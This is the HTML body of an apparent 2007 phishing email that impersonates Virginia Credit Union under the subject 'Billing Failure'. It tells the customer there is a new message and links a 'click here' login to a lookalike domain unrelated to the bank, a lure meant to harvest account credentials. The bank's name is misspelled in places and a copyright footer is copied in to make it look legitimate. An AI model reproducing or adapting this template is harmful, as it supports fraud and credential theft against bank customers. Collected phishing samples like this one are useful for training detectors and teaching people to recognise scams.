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<title>Billing Failure</title>

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      <p align="center"><font face="Arial" size="2"><span class="treb"><b><i><font color="#000000"><br>

        Dear Customer,</font></i></b></span></font></p>

      <p><font face="Arial" size="2"><span class="treb"><font color="#000000"><br>

        </font></span></font><font size="2" color="#000000"><span class="treb"><b> You 

        have one new message at Virgina Credit Union.</b><br>

        <br>

        <b> INBOX</b> </span></font></p>

      <p><font size="2" color="#000000"><span class="treb"><b> From:</b> 

            Customer Service</span></font><font size="2"><br>

        <b> Date:</b>      30/07/2007<br>

        <b> Subject:</b> Billing Failure</font></p>

      <p><font size="2" color="#000000"><span class="treb"> In order to read 

        the message<b> <a href="http://www3.netit.financial-net.cm-lb.com/vacu/"><i>click 

        here</i></a> </b>to login at<br>

         Virgina Credit Union and access your MAIL section.</span></font><br>

        <br>

        <font face="Arial" size="2"><span class="treb"><font color="#CCCCCC"><font color="#999999" size="1"> Virginia 

        Credit Union, P.O. Box 90010, Richmond, VA 23225-9010.<br>

        </font></font></span><font color="#999999" size="1"> Copyright © 

        2007, Virginia Credit Union. All rights reserved</font></font><br>

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